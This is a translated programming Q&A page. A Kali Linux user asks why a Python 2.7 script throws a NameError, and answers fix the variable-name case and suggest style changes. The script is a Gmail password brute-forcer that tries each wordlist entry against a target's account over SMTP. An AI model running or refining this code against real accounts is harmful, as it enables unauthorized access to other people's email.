繁体   English   中英

PYTHON 2.7.9:NameError:名称“ ___”未定义

[英]PYTHON 2.7.9: NameError: name '___' is not defined

我是编程新手,但是我正在尝试创建以下脚本。 你能告诉我我做错了什么吗?

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")

for password in passwfile:
        try:
                smtpserver.login(user, password)
                print "[+] Password Found: %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                print "[!] Password Incorrect: %s" % password

当我添加wordlist.lst文件时,终端上出现一条错误消息,内容如下:

File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined

有什么专家可以给我一些建议吗? 我在Kali Linux上使用的是Python 2.7.9(已经预装了Python 2,所以我决定学习它,而不是尝试使用Python3。)

没有定义名为passwfile变量。 但是,有一个名为Passwfile (注意大小写)的名称,您应该使用该名称,因为标识符在Python中区分大小写。

请注意,在Python中,约定是将所有小写字母用于变量名。 大写标识符通常用于类名。 因此您的代码可以读为:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")

for password in password_file:

例如。

有关标识符和其他样式问题的更多信息,请参阅PEP 8 在此建议变量用下划线分隔小写单词,因此例如,首选password_file不是passwfile

另一个有用的技巧是使用with语句在上下文管理器中打开文件:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")

with open(password_filename) as password_file:
    for password in password_file:
        # nasty stuff here

例如,如果存在未处理的异常,上下文管理器将确保始终正确关闭文件。

最后,将其用于善良而不是邪恶:)

检查线

Passwfile = raw_input("Enter the password file name: ")

在这里,您将raw_input存储在变量Passwfile中(大写的P)

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM